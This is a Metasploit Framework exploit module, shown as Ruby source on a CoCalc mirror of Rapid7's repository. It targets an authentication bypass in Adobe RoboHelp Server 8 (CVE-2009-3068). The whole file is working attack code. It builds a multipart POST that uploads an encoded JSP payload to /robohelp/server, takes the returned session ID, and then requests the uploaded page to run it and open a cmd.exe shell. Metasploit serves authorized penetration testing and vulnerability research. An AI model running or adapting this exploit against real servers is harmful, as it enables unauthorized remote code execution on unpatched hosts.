Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/adobe_robohelper_authbypass.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
10
11
include Msf::Exploit::Remote::HttpClient
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute',
18
'Description' => %q{
19
This module exploits an authentication bypass vulnerability which
20
allows remote attackers to upload and execute arbitrary code.
21
},
22
'Author' => [ 'MC' ],
23
'License' => MSF_LICENSE,
24
'Platform' => 'win',
25
'Privileged' => true,
26
'References' => [
27
[ 'CVE', '2009-3068' ],
28
[ 'OSVDB', '57896'],
29
[ 'URL', 'http://www.intevydis.com/blog/?p=69' ],
30
[ 'ZDI', '09-066' ],
31
],
32
'Targets' => [
33
[
34
'Universal Windows Target',
35
{
36
'Arch' => ARCH_JAVA,
37
'Payload' =>
38
{
39
'DisableNops' => true,
40
},
41
}
42
],
43
],
44
'DefaultOptions' => {
45
'SHELL' => 'cmd.exe'
46
},
47
'DefaultTarget' => 0,
48
'DisclosureDate' => '2009-09-23',
49
'Notes' => {
50
'Reliability' => UNKNOWN_RELIABILITY,
51
'Stability' => UNKNOWN_STABILITY,
52
'SideEffects' => UNKNOWN_SIDE_EFFECTS
53
}
54
)
55
)
56
57
register_options([ Opt::RPORT(8080) ])
58
end
59
60
def exploit
61
page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"
62
uid = rand(20).to_s
63
64
file = "-----------------------------#{uid}\r\n"
65
file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
66
file << "Content-Type: application/x-java-archive\r\n\r\n"
67
file << payload.encoded
68
file << "\r\n"
69
70
print_status("Sending our POST request...")
71
72
res = send_request_cgi(
73
{
74
'uri' => '/robohelp/server',
75
'version' => '1.1',
76
'method' => 'POST',
77
'encode_params' => false,
78
'data' => file,
79
'headers' => {
80
'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid,
81
'UID' => uid,
82
},
83
'vars_get' => {
84
'PUBLISH' => uid
85
}
86
}, 5
87
)
88
89
if (res and res.message =~ /OK/)
90
id = res['sessionid'].to_s.strip
91
92
print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")
93
data = send_request_raw({
94
'uri' => normalize_uri('robohelp', 'robo', 'reserved', 'web', id, page),
95
'method' => 'GET',
96
'version' => '1.0'
97
}, 5)
98
99
handler
100
else
101
print_error("No SESSIONID acquired...")
102
return
103
end
104
end
105
end
106
107